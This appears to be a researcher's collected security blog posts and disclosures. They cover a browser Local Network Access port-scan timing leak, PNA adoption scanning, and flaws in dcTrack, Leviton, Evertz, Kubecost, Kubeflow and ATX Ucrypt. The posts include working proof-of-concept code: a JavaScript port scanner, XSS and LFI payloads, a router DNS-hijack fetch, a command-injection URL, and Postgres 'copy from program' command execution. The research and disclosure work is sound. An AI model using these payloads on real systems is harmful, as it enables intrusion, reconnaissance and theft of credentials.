Is it possible ? Yes. How ?

Because in this case… timing is everything.

Background

The Pop-Up

Have you seen this prompt recently?

If you use a modern browser, there’s a good chance you’ve either seen it, or you’re about to.

This dialog was introduced as part of Local Network Access (LNA). The premise is straightforward. Public websites should not be able to silently reach into your local network and talk to private resources, such as your router admin panel, your local dev server, your NAS, a Raspberry Pi on 192.168.x.x. LNA draws a hard boundary between public IP space and private/loopback address space, and requires explicit user permission before a cross-boundary fetch is allowed to proceed.

What LNA is meant to do

Under the hood, this boundary is enforced by a function such as URLLoaderThrottle (in Chrome and Chromium). When a public origin tries to access a of a less public IP the following sequence plays out:

• Request initiated

  fetch() or XHR call is made to an internal IP or localhost
• IP resolves

  Hostname resolved; address classified as private or loopback
• LocalNetworkAccessCheck triggers

  A TCP connection is opened to the target IP:Port to determine reachability
• Request deferred — user prompted

  IPC message sent to browser process; prompt appears if port is open
• User decides

  Allow, Block, or ignore the prompt
• Request resumes or fails

  Preflight sent on Allow; CORS error on Block; fetch remains Pending if ignored

Importantly : The fetch promise remains in a pending state throughout the entire pause. From the page’s perspective, the request is simply waiting. From a timing perspective, that wait is information.

LNA enabled browsers

As of February 2026, LNA is available on the following browsers :

The Finding

Port Scanning

Here is the crux of the finding as part of this research. To decide whether to show you the prompt at all, the browser first has to check whether the private target’s port is actually reachable. It does this by opening a TCP connection, before any permission is granted or denied.

The implication is quiet but significant. The port state has already been determined before the user has taken any action :

• Port Closed : the TCP handshake gets an RST almost instantly, and the fetch rejects in milliseconds. No LNA prompt is required.
• Port Open : the TCP handshake succeeds, the browser defers the request, the prompt appears, and the fetch sits in a pending state for as long as the user takes to decide, or indefinitely if they ignore it.

This creates a trivially observable timing differential:

The malicious page does not need the user to click Allow or Block. The timing delta between an immediate rejection and a prolonged pending state is sufficient to fingerprint port state.

State of LNA Prompt vs. Port State

Based on this its safe to say that LNA may be intended to protect knowledge of such port states when the user “Blocks” LNA.

Proof of Concept

Basic Test

Start a local HTTP server on any port :

python3 -m http.server 30000

Open a browser’s developer console from any public-origin page. Paste the following. Importantlly, when the LNA prompt appears, do not click Allow or Block. Simply observe the console output.

// Target port to probe
const port = 30000;

// Allows us to cancel the request after a timeout
const c = new AbortController();

// Record the start time
const t = Date.now();

// Abort the request after 2 seconds
setTimeout(() => c.abort(), 2000);

// If the request times out (AbortError), the port is open — closed ports fail instantly
fetch(`http://localhost:${port}`, { mode: "no-cors", signal: c.signal })
  .catch(e => console.log(e.name === "AbortError" ? `open (${Date.now() - t}ms)` : "closed"));

Scaling to the Full Port Range

An optimized version can sweep the full 65,535 TCP port range using batched, concurrent fetches with tuned abort timing can be found here :

Source

Live demo

An example run:

Implications

Port scanning via browsers is not new. What LNA changes is the quality of the signal. The LNA probe is a deliberate TCP handshake with a binary outcome, producing a clean, reliable timing split.

Browser & User Fingerprinting

Different OS and software configurations expose different port signatures. Combined with existing fingerprinting signals, a port map assembled in seconds meaningfully contributes to cross-session tracking.

Internal Network Reconnaissance

The graver scenario is enterprise. An employee whose browser bridges the public internet and an internal network is an ideal unwitting proxy. A malicious page can use LNA timing to probe RFC 1918 ranges to map live hosts and open services, with no installation, no privileges, and no interaction beyond a page load.

The Prompt Is Not the Defence

It is worth stating directly: LNA’s prompt was never intended to prevent port discovery. It was intended to prevent unauthorized data exchange with local resources. The port-state leakage described here is a side-effect of the mechanism used to decide whether to show the prompt, and not a flaw in the prompt itself.

Summary

LNA’s TCP probe, the mechanism that decides whether to show the prompt, runs before the user sees anything. That probe leaks port state. Open ports stall, closed ports reject instantly. The delta is measurable from JavaScript with no special permissions.

Allow, Block, or ignore : it doesn’t matter. By the time the prompt appears, the scan is already done.

Introduction

Have you seen these HTTP headers before?

Access-Control-Request-Method: GET 
Access-Control-Request-Private-Network: true

Or perhaps this pesky alert?

If you’re a Chrome user who upgraded to Chrome 142 in the last three months, you may have encountered this alert. These two elements represent two different approaches to solving the same critical security problem—but in very different ways.

The Problem: Browsers as a Trust Boundary

For years, we’ve treated browsers primarily as rendering engines. But browsers are also enforcement points between:

• Public internet origins
• Local/private network resources
• Loopback interfaces
• User devices

The browser is a trust boundary — and historically, it didn’t act like one.

This trust boundary has been exploited for a very long time through various attack vectors, such as:

Port Scanning

Before Private Network Access (PNA), a malicious “public” website could:

• Probe RFC-1918 Networks
• Detect open ports
• Fingerprint routers, NAS devices, local services

Why? Because it’s an excellent way to fingerprint users in a stateless manner.

SOHO Pharming

An age-old technique where a public website would interact with private resources in a nefarious manner.

For example, a malicious site could hijack your router’s DNS settings:

fetch("https://router.local/setDNS?server=1.2.3.4")

A more recent example of this is CVE-2025-49596, which affected MCP Inspector :

fetch("http://localhost:6277/sse?command=cat&args=%2Fetc%2Fhosts")

Private Network Access (PNA): The First Solution

Browsers decided to address this problem through a mechanism called Private Network Access (PNA), initially known as CORS-RFC1918.

The goal:

Prevent public websites from silently accessing private network resources.

Core idea:

• Classify address spaces (public, private, local)
• Require explicit permission when crossing boundaries

Understanding Pre-flight Requests

To understand PNA, we first need to understand pre-flight requests. Consider this analogy:

You live in an apartment building, and a stranger walks up to the bellman asking to visit Mr. XYZ on floor N. The bellman is going to call you and ask for your permission: “Can I send this stranger up? Are you expecting them?” Depending on your response, the bellman will either allow or deny that stranger access.

Sound familiar? This is similar to how CORS works.

How PNA Works

PNA introduced new CORS behavior: Access-Control-Request-Private-Network: true

When a public site attempts to access a private IP:

1. Browser issues a preflight.
2. Target must explicitly allow it.
3. Otherwise, request fails.

A deeper dive into PNA can be found here: https://wiki.notveg.ninja/blog/pna/.

State of PNA

As of September 2025, PNA had been rolled out for over four years, and yet…

The Great Shift: PNA to LNA

In September 2025, Chrome made a dramatic decision: deprecate PNA entirely and replace it with Local Network Access (LNA). This wasn’t just a rename. It represented a fundamental philosophical shift in how browsers protect private networks.

PNA Model (Service-Side Protection):

• The private resource protects itself
• Must explicitly allow access via HTTP headers
• Security burden on server administrators
• Similar to CORS—declarative permission model

LNA Model (User-Side Protection):

• The user decides for each connection
• Browser prompts for permission
• Security burden shifted to end users
• No server-side configuration required

Local Network Access (LNA)

When LNA supported browsers detect an attempt to access a private network, they now display a simple prompt:

Unfortunately, the prompt provides no additional context about which internal resource triggered the request. To address this limitation, I developed a Chrome extension called LNAlyzer. . Details on how this extension works are available in my blog post: {LNAlyzer-UNDER-CONSTRUCTION}

Under the hood, these browsers use a function such as URLLoaderThrottle (in Chrome and Chromium). When a public origin tries to access a private IP:

1. Request starts.
2. IP resolves.
3. LocalNetworkAccessCheck triggers.
4. Request is deferred.
5. IPC message sent to browser process.
6. User sees permission prompt.
7. User clicks Allow or Block.
8. Request resumes or fails.

What We’ve Learned

Why PNA Struggled

1. It Broke Existing Workflows
   • Browsers historically allowed public websites to interact with services on localhost, routers, IOT dashboards and internal enterprise tools.
   • Developers and vendors built systems assuming this behavior.
   • PNA suddenly enforced a strict boundary in an ecosystem that had normalized crossing it.
   • Compatibility suffered.
2. Private Devices Can’t Easily Adapt
   • PNA requires servers on private networks to send explicit opt-in headers for access.
   • Many such devices have embedded firmware and are rarely updated.
3. Browser Fragmentation
   • For most of its existence, PNA was Chrome-only.
   • Web developers couldn’t rely on it for cross-browser compatibility.
   • No incentive to implement it if only Chrome users benefited.
4. Developer Adoption Barriers
   • Developers weren’t aware of PNA requirements.
   • Didn’t understand how to implement them correctly.
   • Chose to ignore them (no enforcement in other browsers)
5. Lack of Centralized Configuration
   • Enterprises often operate tools that span both public and internal network boundaries.
   • Early PNA enforcement provided no practical way for organizations to centrally configure browser behavior across managed fleets.
   • Security controls lived at the browser level, but enterprise policy needed to live at the admin level.
   • LNA partially addressed this — at least in Chrome — by allowing administrators to define behavior via enterprise policy

Challenges for LNA

1. Prompt Fatigue
   • Browsers already ask users to approve: Camera, Microphone, Location and Notifications.
   • Adding “Allow this site to access your local network?” becomes just another dialog.
   • Non-technical users may find these prompts confusing and approve access without understanding the security implications.
2. Architectural Friction
   • LNA pauses network requests mid-flight to wait for user approval. This works reasonably well for fetch().
   • However, it becomes complicated for WebSockets (tight handshake timing), Service Workers (no visible UI), Shared Workers, and certain navigation flows.
   • The browser network stack wasn’t originally built for interactive boundary checks.
   • LNA had to retrofit permission logic into complex plumbing.

Browser Adoption Status

(As of February 2026)

Introduction

Ever seen a browser prompt saying a website wants to “connect to a device on your local network” — and wondered why? What exactly is it trying to reach? Your smart home devices? Your router? A local server?

What It Does

LNalyzer monitors and displays any attempts by websites to access resources on your private/local network. When you visit a webpage, the extension tracks requests to private IP addresses (like 192.168.x.x or 10.x.x.x) and displays them in a simple, easy-to-read popup.

You’ll see:

• Detect and log Local Network Access (LNA) requests.
• View full request URLs in a clear, easy-to-read pane.
• Understand which sites are scanning or probing your private network.

Demo

How It Works (Technical Overview)

LNalyzer uses Chrome’s WebRequest API to monitor network activity, but with a clever insight: requests to local/private network addresses often behave differently than regular internet requests — they tend to hang or take longer to resolve.

Here’s how the extension detects potential local network access:

1. Request Tracking: When any network request starts, the extension records it along with a timestamp using chrome.webRequest.onBeforeRequest.

2. Pending Detection: The extension monitors how long each request remains in-flight. If a request is still pending after 1 second (the PENDING_THRESHOLD), it’s flagged as suspicious. These hanging requests are strong indicators of local network access attempts, since:
   • Private IP addresses may not respond if no device exists at that address
   • Browser security policies may block or delay these requests
   • Local network requests often timeout rather than complete quickly

3. Cleanup on Completion: When requests complete (successfully via onCompleted or with errors via onErrorOccurred), they’re removed from the pending list. This ensures only truly stuck requests are displayed.

4. Tab-Specific Filtering: The extension tracks your active tab and only shows pending requests associated with the current page you’re viewing, keeping the display focused and relevant.

5. Real-time Updates: The popup receives notifications whenever the pending request state changes, giving you a live view of what’s happening.

The key insight is that legitimate internet requests typically complete quickly, while attempts to probe local network addresses often result in requests that hang indefinitely or timeout. By surfacing these pending requests, LNalyzer reveals local network access attempts that would otherwise be invisible without diving into DevTools.

The extension is lightweight and completely private — all monitoring happens locally in your browser, and no data is sent anywhere.

CISA ICS Advisory

ICSA-25-338-05

Summary

The DCIM dcTrack platform is affected by two vulnerabilities that allow an authenticated user to escape its restricted SSH shell. The first is a misconfiguration that permits SSH port forwarding, enabling access to internal services that should not be reachable. The second is the presence of hard-coded credentials for the platform’s internal PostgreSQL database. Together, these issues allow a restricted user to break out of the limited shell environment and execute arbitrary commands on the underlying system.

Versions Impacted

The products affected are :

Vulnerability Details

CVE-2025-66238

The restricted shell that the platforms concerned expose over SSH is intended to limit users and administrators to a narrow and controlled command set. However, SSH port forwarding is not disabled for these accounts. As a result, an authenticated user or administrator can establish local or remote port-forwarding tunnels to services bound only to the host’s internal interfaces.

This vulnerability can be reproduced using an ssh client to connect to the target Sunbird DCIM dcTrack server and port forward to the local Postgres database using the example command :

ssh config@TARGET_IP -L 5432:localhost:5432

CVE-2025-66237

The platform embeds hard-coded credentials for its internal PostgreSQL instance. When combined with SSH port forwarding (CVE-2025-XXXX), an authenticated restricted-shell user can connect directly to this database from their local machine.

Multiple database users (odbcuser, raritan and dctrack) used by the platform use default and hard coded credentials for access.

Because the PostgreSQL configuration permits execution pathways that reach the underlying operating system, this access can be leveraged to escape the restricted shell and execute arbitrary commands on the host.

This vulnerability can be reproduced using a Postgres database client using the following parameters : Port : tcp/5432 Database Name : raritan Database Users :

odbcuser
raritan
dctrack

Impact :

By exploiting CVE-2025-66238, an attacker can leverage SSH port forwarding to reach backend services on local TCP sockets, escape the restricted shell, and gain access to the platform’s internal PostgreSQL database for privilege escalation.

As an example, the following internal services used by the platform can now be accessed :

tcp        0      0 127.0.0.1:4949          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:5432            0.0.0.0:*               LISTEN      1246/postmaster     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::5432                 :::*                    LISTEN      1246/postmaster     
tcp6       0      0 :::443                  :::*                    LISTEN      -                   
tcp6       0      0 :::8161                 :::*                    LISTEN      -                   
tcp6       0      0 127.0.0.1:8005          :::*                    LISTEN      -                   
tcp6       0      0 :::36463                :::*                    LISTEN      -                   
tcp6       0      0 :::61616                :::*                    LISTEN      -                   
tcp6       0      0 :::8080                 :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   

With CVE-2025-66237, an attacker who obtains the hard‑coded PostgreSQL credentials can take full control of the database, escalate privileges on the platform, and ultimately execute system commands on the host.

This can be be used to access the database that is used to store configurations, data and authentication details for the platform :

$ psql -h 127.0.0.1 -U raritan raritan
psql (14.15 (Ubuntu 14.15-0ubuntu0.22.04.1), server 12.9)
Type "help" for help.

raritan=# \list
                                  List of databases
   Name    |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges   
-----------+----------+----------+-------------+-------------+-----------------------
 postgres  | postgres | UTF8     | C           | C           | 
 raritan   | raritan  | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 template0 | postgres | UTF8     | C           | C           | =c/postgres          +
           |          |          |             |             | postgres=CTc/postgres
 template1 | postgres | UTF8     | C           | C           | =c/postgres          +
           |          |          |             |             | postgres=CTc/postgres
(4 rows)

raritan=# \c raritan
psql (14.15 (Ubuntu 14.15-0ubuntu0.22.04.1), server 12.9)
You are now connected to database "raritan" as user "raritan".

raritan=# SELECT table_name FROM information_schema.tables WHERE table_schema = 'public';
                        table_name                         
-----------------------------------------------------------
 audit_log_cursors
 audit_logs
 batch_job_execution
 batch_job_execution_context
 batch_job_execution_params
 batch_job_instance
 batch_step_execution
 configuratr_settings
 cron_task_schedules
 dashboardr_poweriq_credentials
 databasechangelog
 databasechangeloglock
 dct_model_aliases
 rails_options
 rails_options_old
 rbac_items
 rbac_lks
 rbac_objects
 rbac_permissions
 rbac_role_privileges
 rbac_roles
 roles
 roles_user_groups
 roles_users
 saml_configurations
 user_group_members
 user_groups
 user_prefs
 users
 [TRIMMED_OUTPUT]
(293 rows)

Additionally, system commands can be run on the host OS (thus bypassing restricted shell access to platform owners) using techniques such as :

CREATE table temp(t text);
copy temp from program 'ps -aux'
select * from temp limit 1000 offset 0 ;

USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0 238644  6812 ?        Ss   Jan30   1:48 /usr/lib/systemd/systemd --switched-root --system --deserialize 16
root           2  0.0  0.0      0     0 ?        S    Jan30   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        I<   Jan30   0:00 [rcu_gp]
root        1056  0.1  0.1 374312  8532 ?        Ss   Jan30  17:37 /usr/bin/perl -w /usr/local/sbin/hc.pl
nginx       1059  0.0  0.7 589920 61780 ?        Sl   Jan30   1:09 /opt/sunbird/appliance_manager/vendor/bundle/ruby/3.1.0/bin/rake qc:work
nginx       1060  0.0  0.7 589924 61884 ?        Sl   Jan30   1:08 /opt/sunbird/appliance_manager/vendor/bundle/ruby/3.1.0/bin/rake qc:work
nginx       1061  0.0  0.7 589952 61276 ?        Sl   Jan30   1:08 /opt/sunbird/appliance_manager/vendor/bundle/ruby/3.1.0/bin/rake qc:work
config   1407704  0.0  0.0 235960  5184 pts/0    Ss+  16:19   0:00 /usr/bin/perl -w /usr/local/sbin/config.pl
root     1407706  0.0  0.0 337252  7744 pts/0    S+   16:19   0:00 /usr/bin/sudo /usr/local/sbin/serial-config.pl /var/log/oculan/serial-config.log
root     1407707  0.0  0.4 327936 37284 pts/0    S+   16:19   0:00 /usr/bin/perl -w /usr/local/sbin/serial-config.pl /var/log/oculan/serial-config.log
postgres 1407812  0.0  0.1 1426564 12292 ?       Ss   16:19   0:00 postgres: dctrack raritan 127.0.0.1(38636) idle
postgres 1407814  0.0  0.2 1428104 23220 ?       Ss   16:19   0:00 postgres: raritan raritan 127.0.0.1(40498) idle
postgres 1408621  0.0  0.0 262548  3940 ?        R    16:29   0:00 ps -aux
[TRIMMED_OUTPUT]

Recommended Mitigations

As CISA recommends (in ICSA-25-338-05), administrators of these platforms are urged to take defensive measures to minimize the risk of exploitation of this vulnerability, such as :

• Restrict network access to administrative services for these platforms over SSH.
• Rotate the default SSH passwords for the administrative user config.
• Update to the versions : 9.2.3 (dcTrack) and 9.2.1 (Power IQ)

Disclosure Timeline

Acknowledgements

A shout out to the Technical Editors and Writers at CISA Industrial Control Systems Vulnerability Management and Coordination, as well as the engineers at Sunbird Software, for being prompt on their communications, and their assistance on disclosing the issue.

Introduction

Web browsers have quietly become a pivot point between the public internet and private infrastructure – a soft frontier where internal APIs, localhost services, and corporate portals all increasingly brush against the open web.

Historically, the “Same-Origin Policy” (SOP) shielded these local resources by restricting cross-origin access. But as browsers evolved into complex application platforms and usage of localhost APIs exploded (DevOps dashboards, agent UIs, IoT panels, internal admin tools), attackers found new ways to bridge that gap — abusing misconfigured CORS, DNS rebinding, and request smuggling to reach networks behind the firewall, with the browser as the hopping point.

In this post, we break down how PNA works, why it matters, and setting the stage for broader research into how widely (and securely) it’s being adopted in the wild.

Private Network Access (PNA)

What is PNA

PNA is the browsers response : a tightened permission and preflight model aimed at stopping “drive-by intranet access”. The core idea is simple — if a public website (Internet) wants to send requests to a more trusted target (e.g., 192.168.x.x, 127.0.0.1, RFC1918, RFC6598), the browser should first preflight and require the backend to explicitly opt-in via the Access-Control-Allow-Private-Network: true header.

Why PNA Matters

Without PNA, an attacker could embed malicious scripts in a public website and silently scan or exploit internal services reachable from the victim’s browser. PNA forces servers to explicitly acknowledge and allow these cross-network requests — effectively creating a new access boundary enforced at the browser level.

Valuable cases where these considerations matter include examples listed by Oligo Security in their blog “0.0.0.0 Day: Exploiting Localhost APIs From the Browser”, which shed light on real-world exploitation campaigns of local services and malicious browser fingerprinting.

Analyzing the state of PNA

While conversations about PNA seem to be more prevalent for browser adoption (client-side), its adoption and security implications on applications and services (server-side) have seemingly not received as much attention within the web security research community. CVE-2024-6221 may be the only known documented security issue where insecure PNA-related CORS headers have made an application intentionally vulnerable, thus bypassing browser protections (similar to traditional CORS issues we are familiar with).

This blog intends to set the stage for such research, provide some high-level insights into what the adoption of PNA headers on web servers looks like, and perhaps open up a can of worms for further research on what is intentional/unintentional.

How ?

For this research, AWS US East was used as the sample environment — it’s high-density, widely shared, and ideal for spotting patterns across diverse infrastructure. While enterprise networks with heavy private IP space usage would be ideal for this research, this environment provides a practical snapshot of real-world behavior.

This address space was probed with a GET request and the required CORS headers for PNA :

GET / HTTP/1.1
Host: targets
Origin: http://example.com
Access-Control-Request-Method: GET
Access-Control-Request-Private-Network: true

The headers parsed from the response were :

HTTP/1.1 [STATUS-CODE]
Server: [SERVER-TYPE]
Access-Control-Allow-Private-Network: [true/false]
Access-Control-Allow-Origin: [ORIGIN]

<title>[SERVICE-BANNNER]</title>

The tool of choice for this was NMAP, with a custom NSE script to capture these headers. The source code for this is linked below.

What ?

The results from this research would best be demonstrated with the graphic below.

Interpretation

Takeaway : PNA adoption is low — but misconfigurations are common where it is used.

Only a small portion of the scanned IP space responded with PNA-related headers. Among those, about one-third showed insecure configurations. This typically looked like:

• Access-Control-Allow-Private-Network: true
• Access-Control-Allow-Origin: * or reflected origin.

Origin Server breakdown :
Response patterns (i.e. allow vs. deny) were fairly consistent across server types, but nginx led in raw numbers.

Title/Application Breakdown :
While most web server banners were missing (often returning a 404), no distinct patterns or common apps were found. However, these web services without HTML on the web root indicate a possibility that many may be APIs, which may be an area of interest for further research.

Checking your environment

Here’s a quick way you can use NMAP, with a custom script, to check for PNA behavior via preflight-like requests in your internal networks or localhost.

This script can be pulled from here : https://github.com/notnotnotveg/nse-http-pna-detect

This can be run as :

$ nmap -Pn -n --open  --script http-pna-detect.nse -sV 127.0.0.1
Starting Nmap 7.80 ( https://nmap.org ) at 2025-01-01 01:00 UTC
Nmap scan report for 127.0.0.1
Host is up (0.0069s latency).
Not shown: 997 filtered ports, 1 closed port
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.7 (protocol 2.0)
80/tcp open  http    nginx
| http-pna-detect: VULNERABLE: Access-Control-Allow-Private-Network: true
| Server: nginx
| Origin: http://example.com
|_Title: Not found

Running this with the service detection (-sV) flag when scanning non-standard web ports is recommended.

Wrapping Up

Private Network Access is still emerging in the wild — but it’s already showing signs of the same misconfig pitfalls we’ve seen before with CORS. While adoption is low, early implementations suggest a need for better defaults and clearer guidance.

For anyone managing services in private or hybrid networks, it’s worth scanning your environment and tightening up access rules. Misconfigured PNA headers might not be widespread yet, but they’re already opening doors they shouldn’t.

Security teams should treat PNA like any other surface exposed to the web: validate origins, avoid wildcards, and monitor preflight behavior closely.

CISA ICS Advisory

ICSA-25-198-01

Summary

Leviton (formerly Obvius) AcquiSuite and Energy Monitoring Hub are vulnerable to reflected Cross-Site Scripting (XSS), allowing an attacker to craft a malicious payload in URL parameters, which would execute in a client browser when accessed by a user, steal session tokens, and control the service.

Versions Impacted

The products affected are :

Vulnerability Details

This vulnerability is critical in environments where these devices are exposed to shared networks or the internet, particularly in building automation, energy infrastructure, or industrial settings.

An attacker can craft a payload in the “TITLE” URL parameter of the Administrative interface of these devices with malicious HTML and JavaScript. This malicious code would run on a victim’s (server administrator) browser who clicks this link.

A proof of concept payload that generates an alert on the victim’s browser by means of the JavaScript reflected by the server :

https://vuln_target/setup/asmodule/Obvius_BACnet/exec.cgi?EXEC=network.sh&COMMAND=Scan+Network+Prompt&TITLE=BACnet+Discover+%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

As an example, consider a benign payload such as this (which would need to be URL encoded) :

BACnet Discover <img src='https://wiki.notveg.ninja/assets/images/profile.png' width="100"height="100"/>

This would lead to reflection of the parameter :

The injected JavaScript would be added to the page to trigger the payload :

Impact

An attacker can use this to execute malicious HTML and JavaScript on the DAQ server administrators browser to potentially steal administrative session tokens and gain control of the DAQ server.

Recommended Mitigations

As CISA recommends in (ICSA-25-198-01) users take defensive measures to minimize the risk of exploitation of this vulnerability, such as:

• Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the Internet.
• Locate control system networks and remote devices behind firewalls and isolating them from business networks.
• When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities of their own and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

Disclosure Timeline

Acknowledgements

A shout out to the Technical Editors and Writers at CISA Industrial Control Systems Vulnerability Management and Coordination for being prompt on their communications, and their assistance on disclosing the issue.

During a recent engagement of reviewing a Kubernetes environment I came across a service called “Kubecost”, which is intended to be used for monitoring a Kubernetes cluster and provide recommendations to reduce the cost associated with running it.

Given this basic understanding of the functionality, I expected it to be a service that would not tend to provide any data or configurations it collects from the Kubernetes cluster it monitors (possibly by scraping the associated Kubernetes API endpoint). I did not find any such documented APIs or endpoints in the documentation that would indicate the same.

After exploring almost all the functionalities of the Web UI, I see a call to an interesting endpoint in my BurpSuite proxy logs. This endpoint returned back detailed information of all the Pods in the cluster ! The response was identical to what /api/v1/pods on the Kubernetes API provides. Essentially, this endpoint revealed the detailed configuration for Kubernetes resources to anyone who can access it over the network.

What is Kubecost

Directly quoting the Kubecost documenation:

Kubecost is a monitoring application which provides real-time cost visibility and insights for teams using Kubernetes, helping you continuously reduce your cloud costs.

Enumeration

Kubecost dashboards accessible to the public Internet can be identified on Shodan using the query:

http.title:"Kubecost"
http.favicon.hash:611531125

A nuclei template to identify unauthenticated Kubecost dasboards can be found here: unauth-kubecost.

Exploitation

Kubecost is recommended to be run inside trusted networks, since the service does not support authentication and authorization on the dashboard by default. However, in the case that such a Kubecost dashboard is accessible over the network, the following undocumented endpoints (at the time this was reported) are accessible:

/model/allNodes
/model/allPods
/model/allDeployments  
/model/allDaemonSets

Though the configurations and information returned are inherently not sensitive, it may leak sensitive information about the infrastructure, and Kubernetes clusters that are misconfigured may leak secrets. As an example, secrets that may be configured as environment variables or arguments, compared to configuring them as Kubernetes Secrets, can expose sensitive data.

A simple process to manually check for such secrets :

1. Fetch the Pod Configuration from a Kubecost dashboard that is exposed:

   curl -s "https://[KUBECOST-HOST]/model/allPods" > allPods
   

2. Search for secrets in the response using a tool such as gron:

   gron allPods | grep  -i "secret\|password"
   

Recommendations to users

Users who deploy Kubecost are urged to review where their Kubecost dashboard is accessible from, and who it is accessible to. As a vast majority of these dashboards reviewed as part of this research were found to be misconfigured, a multiple step approach is recommended for defending against malicious access.

The most effective way for users to protect their clusters is by deploying the dashboard in a trusted environment, that is only accessible to the administrators of the Kubernetes cluster.

Adding authentication and authorization to the deployment is essential for cases where lateral movement within a network is a risk. The Kubecost team highlights the following as resources for the same:

https://docs.kubecost.com/install-and-configure/install/ingress-examples#basic-auth-example
https://docs.kubecost.com/install-and-configure/advanced-configuration/user-management-oidc
https://docs.kubecost.com/install-and-configure/advanced-configuration/user-management-saml

In addition, as a step for defense in depth, it is highly recommended that administrators leverage Kubernetes Secrets to load secrets into pods, instead of adding them as environment variables or arguments.

As part of the fix after disclosure, Kubecost has updated the deployment guide to include the following.

The API documentation has also been updated to list all the endpoints that may provide information about the different resources of the Kubernetes Cluster.

Disclosure Timeline

The standard Vulnerability Disclosure Process for Responsible Pubic Disclosure was followed, giving the team 90 days to address the issue.

Acknowledgements

I would like to congratulate the Kubecost team for : firstly building a great product that truly solves a problem Kubernetes administrators had for a long time, and secondly for their prompt communications and best efforts to secure the product and the users who deploy it.

Summary

A Cross Site Scripting (XSS) vulnerability in the web interface of multiple Evertz microsystems products such as MViP-II, XPS-EDGE-*, evEDGE-EO-*, MMA10G-*, 570IPG-X19-10G, allows a remote attacker to execute arbitrary code on a clients browser via a crafted payload in the login parameters.

Versions Impacted

The Evertz Microsystems products affected are :

Vulnerability Details

This vulnerability can be exploited when a user of these systems accesses the web interface for these devices using a link crafted by an attacker, which contains malicious HTML encoded in the location parameter of /login.php

As an example, the following HTML payload can be embedded in this parameter concerned :

http://localhost"><script>alert(document.domain)</script> <div id ="a

Such malicious HTML can be embedded in the parameter concerned :

/login.php?location=aHR0cDovL2xvY2FsaG9zdCI+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+IDxkaXYgaWQgPSJh

This should generate a basic alert with the domain of the endpoint :

Recommended Mitigations

Multiple attempts (direct contact and by CERT/CC) have been made to responsibly disclose the issue to the Evertz Microsystems to address the root cause of this vulnerability, but no response was received.

Users are advised to restrict network access to their deployments and inspect URLs for their panels before clicking them.

Disclosure Timeline

Multiple articles and blog posts written about Kubeflow intrigued me to dive (albeit shallow) into and scour the depths of Shodan one evening to see what I could find. With not too many of such exposed instances to begin with, and accounting for what little the apex predators left behind (Microsoft’s blog post), I stumbled across one such Kubeflow Dashboard, with a misconfiguration, that got me Remote Code Execution (RCE) into Electronic Arts (EA).

What is Kubeflow

Directly quoting the Kubeflow Project home page :

The Kubeflow project is dedicated to making deployments of machine learning (ML) workflows on Kubernetes simple, portable and scalable. Our goal is not to recreate other services, but to provide a straightforward way to deploy best-of-breed open-source systems for ML to diverse infrastructures.

One component of Kubeflow is the ability to run Kubeflow Notebooks, including Jupyter notebooks.

Enumeration

Kubeflow dashboards accessible to the public Internet can be identified on Shodan using the query :

http.title:"Kubeflow Central Dashboard"

Exploitation

Most Kubeflow Dashboards use authentication to protect exposed instances from being exploited using Jupyter Notebooks. MLSecOps has a great blog post about stealing this token using XSS and using it to access Jupyter notebooks.

I happened to find a Kubeflow Dashboard with the Shodan query above, hosted on a subdomain of ea.com. This Kubeflow deployment did not allow creation of new Notebooks. However, as I browsed through the different namespaces, I observed Notebooks that were already created for a specific namespace.

Looking into this notebook, an existing Terminal was found to be running :

Accessing this Terminal provided a bash prompt on a container running in this namespace. Leveraging this shell, the following impact was proved :

1. Access to Instance Metadata services

IAM credentials for the AWS account were enumerated after accessing AWS IMDSv1 :

2. Access to Internal (RFC-1918) Endpoints

Using public DNS dumps an internal endpoint was identified and found to be accessible in our shell.

As an example, the following subdomain resolves to an RFC-1918 IP address on the public Internet :

$ dig +short @8.8.8.8 [REDACTED].ea.com
internal-prd-gitlab-elb[REDACTED].us-east-1.elb.amazonaws.com.
10.28.[REDACTED]
10.28.[REDACTED]

This endpoint, which is a Gitlab instance, was found to be accessible over the network from this container :

This is the point where we conclude any further testing on this specific instance, since access to the infrastructure and the ability to escalate privileges in the environment were demonstrated.

Disclosure Timeline

Acknowledgements

A shout out to the EA Product Security Response Team for being prompt on their communications, and making the process for disclosing the issue as seamless and comfortable as it can be.

Summary

The web interface of ATX Ucrypt (v3.5 and older) is vulnerable to a Server Side Request Forgery (SSRF) and Local File Inclusion (LFI) vulnerability, allowing authenticated users (or attackers using default credentials for the admin, master or user account) to access remote hosts and system files.

Version Impacted

ATX Ucrypt v3.5 and older

Vulnerability Details

An authenticated user, or an attacker using the default credentials for the admin, master or user account, can access remote web endpoints or local system files using the following URIs :

/hydra/view/get_cc_url?board_id=2&url=file%3A%2F%2F%2Fetc%2Fpasswd
/hydra/view/get_cc_url?board_id=1&url=https%3A%2F%2Fgoogle.com%3A443%2F

An example of a vulnerable host :

Recommended Mitigations

Multiple attempts had been made to responsibly disclose the issue to the vendor to address the root cause of this vulnerability, but no response was received.

Users are advised to audit all users of their deployment and ensure that they have rotated the default credentials for the admin, master and user accounts that this service has baked in.

Disclosure Timeline